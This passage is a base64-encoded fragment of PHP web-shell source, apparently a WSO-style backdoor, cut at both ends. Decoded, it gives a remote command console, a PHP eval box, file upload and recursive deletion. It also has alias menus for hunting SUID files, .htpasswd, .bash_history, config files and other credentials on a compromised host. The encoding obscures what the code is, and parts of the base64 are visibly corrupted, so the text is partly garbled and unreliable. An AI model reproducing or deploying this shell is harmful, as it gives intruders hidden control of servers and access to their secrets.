AgICAgICAgICAgICAgICBlY2hvICdCYWQgdGltZSBmb3JtYXQhJzsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGNsZWFyc3RhdGNhY2hlKCk7CiAgICAgICAgICAgICAgICBlY2hvICc8c2NyaXB0PnAzXz0iIjs8L3NjcmlwdD48Zm9ybSBvbnN1Ym1pdD0iZyhudWxsLG51bGwsXCcnIC4gdXJsZW5jb2RlKCRfUE9TVFsncDEnXSkgLiAnXCcsbnVsbCx0aGlzLnRvdWNoLnZhbHVlKTtyZXR1cm4gZmFsc2U7Ij48aW5wdXQgdHlwZT10ZXh0IG5hbWU9dG91Y2ggdmFsdWU9IicgLiBkYXRlKCJZLW0tZCBIOmk6cyIsIEBmaWxlbXRpbWUoJF9QT1NUWydwMSddKSkgLiAnIj48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9InN1Ym1pdCI+PC9mb3JtPic7CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgCiAgICAgICAgICAgIGNhc2UgJ2ZyYW1lJzoKICAgICAgICAgICAgICAgICRmcmFtZVNyYyA9IHN1YnN0cihodG1sc3BlY2lhbGNoYXJzKCRHTE9CQUxTWydjd2QnXSksIHN0cmxlbihodG1sc3BlY2lhbGNoYXJzKCRfU0VSVkVSWydET0NVTUVOVF9ST09UJpKSk7CiAgICAgICAgICAgICAgICBpZiAoJGZyYW1lU3JjWzBdICE9ICcvJykKICAgICAgICAgICAgICAgICAgICAkZnJhbWVTcmMgPSAnLycgLiAkZnJhbWVTcmM7CiAgICAgICAgICAgICAgICBpZiAoJGZyYW1lU3JjW3N0cmxlbigkZnJhbWVTcmMpIC0gMV0gIT0gJy8nKQogICAgICAgICAgICAgICAgICAgICRmcmFtZVNyYyA9ICRmcmFtZVNyYyAuICcvJzsKICAgICAgICAgICAgICAgICRmcmFtZVNyYyA9ICRmcmFtZVNyYyAuIGh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydwMSddKTsKICAgICAgICAgICAgICAgIGVjaG8gJzxpZnJhbWUgd2lkdGg9IjEwMCUiIGhlaWdodD0iOTAwcHgiIHNjcm9sbGluZz0ibm8iIHNyYz0nIC4gJGZyYW1lU3JjIC4gJyBvbmxvYWQ9Im9ubG9hZD1oZWlnaHQ9Y29udGVudERvY3VtZW50LmJvZHkuc2Nyb2xsSGVpZ2h0Ij48L2lmcmFtZT4nOwogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgfQogICAgICAgIGVjaG8gJzwvZGl2Pic7CiAgICAgICAgaGFyZEZvb3RlcigpOwogICAgfQogICAgaWYgKCRvcyA9PSAnd2luJykKICAgICAgICAkYWxpYXNlcyA9IGFycmF5KAogICAgICAgICAgICAiTGlzdCBEaXJlY3RvcnkiID0+ICJkaXIiLAogICAgICAgICAgICAiRmluZCBpbmRleC5waHAgaW4gY3VycmVudCBkaXIiID0+ICJkaXIgL3MgL3cgL2IgaW5kZXgucGhwIiwKICAgICAgICAgICAgIkZpbmQgKmNvbmZpZyoucGhwIGluIGN1cnJlbnQgZGlyIiA9PiAiZGlyIC9zICIC9iICpjbmaWcqLnBocCIsCiAgICAgICAgICAgICJTaG93IGFjdGl2ZSBjbuZWN0aW9ucyIgPT4gIm5ldHN0YXQgLWFuIiwKICAgICAgICAgICAgIlNob3cgcnVubmluZyBzZXJ2aWNlcyIgPT4gIm5ldCBzdGFydCIsCiAgICAgICAgICAgICJVc2VyIGFjY2bnRzIiA9PiAibmV0IHVzZXIiLAogICAgICAgICAgICAiU2hvdyBjb21wdXRlcnMiID0+ICJuZXQgdmlldyIsCiAgICAgICAgICAgICJBUlAgVGFibGUiID0+ICJhcnAgLWEiLAogICAgICAgICAgICAiSVAgQ29uZmlndXJhdGlvbiIgPT4gImlwY29uZmlnIC9hbGwiCiAgICAgICAgKTsKICAgIGVsc2UKICAgICAgICAkYWxpYXNlcyA9IGFycmF5KAogICAgICAgICAgICAiTGlzdCBkaXIiID0+ICJscyAtbGhhIiwKICAgICAgICAgICAgImxpc3QgZmlsZSBhdHRyaWJ1dGVzIG9uIGEgTGludXggc2Vjb25kIGV4dGVuZGVkIGZpbGUgc3lzdGVtIiA9PiAibHNhdHRyICYSIsCiAgICAgICAgICAgICJzaG93IG9wZW5lZCBwb3J0cyIgPT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RcJ1wwIikpOwogICAgICAgICAgICBpZiAocHJlZ19tYXRjaCgiIS4qY2RccysoW147XSspJCEiLCAkX1BPU1RbJ3AxJ10sICRtYXRjaCkpIHsKICAgICAgICAgICAgICAgIGlmIChAY2hkaXIoJG1hdGNoWzFdKSkgewogICAgICAgICAgICAgICAgICAgICRHTE9CQUxTWydjd2QnXSA9IEBnZXRjd2QoKTsKICAgICAgICAgICAgICAgICAgICBlY2hvICJjXz0nIiAuICRHTE9CQUxTWydjd2QnXSAuICInOyI7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZWNobyAiZC5jZi5vdXRwdXQudmFsdWUrPSciIC4gJHRlbXAgLiAiJzsiOwogICAgICAgICAgICBlY2hvICJkLmNmLm91dHB1dC5zY3JvbGxUb3AgPSBkLmNmLm91dHB1dC5zY3JvbGxIZWlnaHQ7IjsKICAgICAgICAgICAgJHRlbXAgPSBvYl9nZXRfY2xlYW4oKTsKICAgICAgICAgICAgZWNobyBzdHJsZW4oJHRlbXApLCAiXG4iLCAkdGVtcDsKICAgICAgICAgICAgZXhpdDsKICAgICAgICB9CiAgICAgICAgaWYgKGVtcHR5KCRfUE9TVFsnYWpheCddKSAmJiAhZW1wdHkoJF9QT1NUWydwMSddKSkKICAgICAgICAgICAgcHJvdG90eXBlKG1kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pIC4gJ2FqYXgnLCAwKTsKICAgICAgICBoYXJkSGVhZGVyKCk7CiAgICAgICAgZWNobyAiPHNjcmlwdD4KICAgIGlmKHdpbmRvdy5FdmVudCkgd2luZG93LmNhcHR1cmVFdmVudHMoRXZlbnQuS0VZRE9XTik7CiAgICB2YXIgY21kcyA9IG5ldyBBcnJheSgnJyk7CiAgICB2YXIgY3VyID0gMDsKICAgIGZ1bmN0aW9uIGtwKGUpIHsKICAgICAgICB2YXIgbiA9ICh3aW5kb3cuRXZlbnQpID8gZSaGljaCA6IGUua2V5Q29kZTsKICAgICAgICBpZihuID09IDM4KSB7CiAgICAgICAgICAgIGN1ci0tOwogICAgICAgICAgICBpZihj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bGl6ZSgkX0NPT0tJRVsnZiddKTsKICAgICAgICBpZiAoIWVtcHR5KCRfUE9TVFsncDEnXSkpIHsKICAgICAgICAgICAgc3dpdGNoICgkX1BPU1RbJ3AxJpIHsKICAgICAgICAgICAgICAgIGNhc2UgJ3VwbG9hZEZpbGUnOgogICAgICAgICAgICAgICAgICAgIGlmIChpc19hcnJheSgkX0ZJTEVTWydmJ11bJ3RtcF9uYW1lJ10pKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRfRklMRVNbJ2YnXVsndG1wX25hbWUnXSBhcyAkaSA9PiAkdG1wTmFtZSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCFAbW92ZVcGxvYWRlZF9maWxlKCR0bXBOYW1lLCAkX0ZJTEVTWydmJbJ25hbWUnXVskaV0pKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiQ2FuJ3QgdXBsb2FkIGZpbGUhIjsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgICAgIGNhc2UgJ21rZGlyJzoKICAgICAgICAgICAgICAgICAgICBpZiAoIUBta2RpcigkX1BPU1RbJ3AyJpKQogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICJDYW4ndCBjcmVhdGUgbmV3IGRpciI7CiAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICBjYXNlICdkZWxldGUnOgogICAgICAgICAgICAgICAgICAgIGZ1bmN0aW9uIGRlbGV0ZURpcigkcGF0aCkKICAgICAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgICAgICRwYXRoID0gKHN1YnN0cigkcGF0aCwgLTEpID09ICcvJykgPyAkcGF0aCA6ICRwYXRoIC4gJy8nOwogICAgICAgICAgICAgICAgICAgICAgICAkZGggPSBvcGVuZGlyKCRwYXRoKTsKICAgICAgICAgICAgICAgICAgICAgICAgd2hpbGUgKCgkb3AgPSByZWFkZGlyKCRkaCkpICE9PSBmYWxzZSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgJG9wID0gJHBhdGggLiAkb3A7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoKGJhc2VuYW1lKCRvcCkgPT0gIi4uIikgfHwgKGJhc2VuYW1lKCRvcCkgPT0gIi4iKSkKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjb2aW51ZTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICR0eXBlID0gZmlsZXR5cGUoJG9wKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkdHlwZSA9PSAiZGlyIikKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBkZWxldGVEaXIoJG9wKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVsc2UKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBAdW5saW5rKCRvcCk7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgY2xvc2VkaXIoJGRoKTsKICAgICAgICAgICAgICAgICAgICAgICAgQHJtZGlyKCRwYXRoKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgaWYgKGlzX2F